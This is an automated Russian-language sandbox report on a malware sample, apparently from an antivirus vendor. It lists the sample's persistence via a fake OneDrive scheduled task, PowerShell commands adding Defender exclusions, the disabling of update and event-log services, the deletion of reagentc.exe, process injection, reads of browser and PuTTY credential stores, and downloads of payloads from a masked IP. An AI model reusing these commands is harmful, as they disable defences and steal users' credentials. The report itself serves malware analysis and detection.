Техническая информация
Для обеспечения автозапуска и распространения
Создает или изменяет следующие файлы
- <SYSTEM32>\tasks\onedrive startup task-s-2-5-25
Вредоносные функции
Для затруднения выявления своего присутствия в системе
блокирует запуск следующих системных утилит:
- Обновления системы (Windows Update)
добавляет исключения антивируса:
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath 'C:\Users\'; Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%\'; Add-MpPreference -ExclusionPath '%WINDIR%\'
Внедряет код в
следующие системные процессы:
- %WINDIR%\syswow64\dialer.exe
- <SYSTEM32>\dllhost.exe
следующие пользовательские процессы:
- wmpenc.exe
Ищет ветки реестра, отвечающие за хранение паролей сторонними программами
- [HKCU\SOFTWARE\FTPWare\CoreFTP\Sites]
- [HKCU\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook]
- [HKCU\Software\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\Wow6432Node\SimonTatham\PuTTY\Sessions]
- [HKCU\Software\RIT\The Bat!]
- [HKLM\SOFTWARE\Wow6432Node\Ghisler\Total Commander]
Читает файлы, отвечающие за хранение паролей сторонними программами
- %LOCALAPPDATA%\google\chrome\user data\default\web data
- %LOCALAPPDATA%\google\chrome\user data\default\login data
- %LOCALAPPDATA%\google\chrome\user data\default\cookies
- %HOMEPATH%\desktop\adadsi.html
- %HOMEPATH%\desktop\advice_process.htm
- %HOMEPATH%\desktop\alert.html
- %HOMEPATH%\desktop\browse.html
- %HOMEPATH%\desktop\file_p_00000000_1371597592.docx
- %HOMEPATH%\desktop\issi2013_template_for_posters.docx
- %HOMEPATH%\desktop\ituneshelpunavailable.html
- %HOMEPATH%\desktop\thlps_keeper_mayer_1965.docx
- %HOMEPATH%\desktop\tree_view.htm
Ищет следующие окна с целью
обнаружения виртуальных машин:
- ClassName: 'VBoxTrayToolWndClass', WindowName: ''
- ClassName: '', WindowName: 'VBoxTrayToolWnd'
Изменения в файловой системе
Создает следующие файлы
- %LOCALAPPDATA%\microsoft\z(cxmu2.exe
- %LOCALAPPDATA%\microsoft\$p43.exe
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\useroobebroker.exe
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_80132f59.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_9d543df2.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_887368a5.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_073db44d.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\log_13e3d6c2.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9e2f994d\file_1f7b5d62.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9e2f994d\file_c8d516a4.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9e2f994d\file_c62a5249.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9ff31a1c\file_7dcf02a4.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9ff31a1c\file_2da5dc8c.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9ff31a1c\file_4913b958.txt
- %APPDATA%\microsoft\oobe.{d20ea4e1-3957-11d2-a40b-0c5020524153}\datafolder_9ff31a1c\file_19b69f19.txt
- nul
Удаляет следующие файлы
- %LOCALAPPDATA%\microsoft\$p43.exe
- <SYSTEM32>\reagentc.exe
Самоудаляется.
Сетевая активность
Подключается к
- 'cl####lare-dns.com':443
- '94.#6.90.16':1888
- '66.##.187.190':80
- '45.##1.233.252':44133
TCP
Запросы HTTP GET
- http://66.##.187.190/work/addon.exe
- http://66.##.187.190/work/addon2.exe
Другие
- 'cl####lare-dns.com':443
- '94.#6.90.16':1888
- '45.##1.233.252':44133
UDP
- DNS ASK cl####lare-dns.com
- DNS ASK ts#.aco.net
- DNS ASK nt#.nict.jp
- DNS ASK ti##.#acebook.com
- DNS ASK x.##.#in.ntt.net
- DNS ASK ti####-g.nist.gov
- DNS ASK nt#.#ime.in.ua
- DNS ASK time.google.com
- DNS ASK po##.ntp.org
- 'ts#.aco.net':123
- 'x.##.#in.ntt.net':123
- 'ti##.#acebook.com':123
- 'nt#.nict.jp':123
- 'ti####-g.nist.gov':123
- 'po##.ntp.org':123
- 'nt#.#ime.in.ua':123
- 'time.google.com':123
Другое
Ищет следующие окна
- ClassName: '#32770' WindowName: 'TeamViewer'
Создает и запускает на исполнение
- '%LOCALAPPDATA%\microsoft\z(cxmu2.exe'
- '%LOCALAPPDATA%\microsoft\$p43.exe'
Запускает на исполнение
- '%WINDIR%\syswow64\dialer.exe'
- '<SYSTEM32>\dllhost.exe'
- '%ProgramFiles%\windows media player\wmpenc.exe'
- '<SYSTEM32>\cmd.exe' /C net session
- '<SYSTEM32>\net.exe' session
- '<SYSTEM32>\net1.exe' session
- '<SYSTEM32>\cmd.exe' /c schtasks /create /tn "OneDrive Startup Task-S-2-5-25" /tr "%APPDATA%\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
- '<SYSTEM32>\schtasks.exe' /create /tn "OneDrive Startup Task-S-2-5-25" /tr "%APPDATA%\Microsoft\oobe.{D20EA4E1-3957-11D2-A40B-0C5020524153}\UserOOBEBroker.exe" /sc minute /mo 1 /it /F
- '<SYSTEM32>\sc.exe' stop wuauserv
- '<SYSTEM32>\cmd.exe' /c timeout 5 >nul && del "%LOCALAPPDATA%\Microsoft\$p43.exe"
- '<SYSTEM32>\timeout.exe' 5
- '<SYSTEM32>\sc.exe' stop UsoSvc
- '<SYSTEM32>\sc.exe' stop bits
- '<SYSTEM32>\sc.exe' stop dosvc
- '<SYSTEM32>\sc.exe' stop WaaSMedicSvc
- '<SYSTEM32>\sc.exe' stop eventlog
- '<SYSTEM32>\sc.exe' config wuauserv start= disabled
- '<SYSTEM32>\sc.exe' config UsoSvc start= disabled
- '<SYSTEM32>\sc.exe' config bits start= disabled
- '<SYSTEM32>\sc.exe' config dosvc start= disabled
- '<SYSTEM32>\sc.exe' config WaaSMedicSvc start= disabled
- '<SYSTEM32>\sc.exe' config eventlog start= disabled
- '<SYSTEM32>\cmd.exe' /C rmdir /S /Q "C:\\inetpub"
- '<SYSTEM32>\cmd.exe' /c wusa /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\wusa.exe' /uninstall /kb:890830 /quiet /norestart
- '<SYSTEM32>\cmd.exe' /c "reagentc.exe /disable && takeown /f "<SYSTEM32>\reagentc.exe" && icacls "<SYSTEM32>\reagentc.exe" /grant administrators:F && del /f /q "<SYSTEM32>\reagentc.exe"
- '<SYSTEM32>\reagentc.exe' /disable
- '<SYSTEM32>\takeown.exe' /f "<SYSTEM32>\reagentc.exe"
- '<SYSTEM32>\icacls.exe' "<SYSTEM32>\reagentc.exe" /grant administrators:F
- '<SYSTEM32>\cmd.exe' /c powercfg /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c && powercfg /x -standby-timeout-ac 0 && powercfg /x -standby-timeout-dc 0 && powercfg /x -hibernate-timeout-ac 0 && powercfg /x -hibe... (со скрытым окном)
- '<SYSTEM32>\powercfg.exe' /setactive 8c5e7fda-e8bf-4a96-9a85-a6e23a8c635c
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-ac 0
- '<SYSTEM32>\powercfg.exe' /x -standby-timeout-dc 0
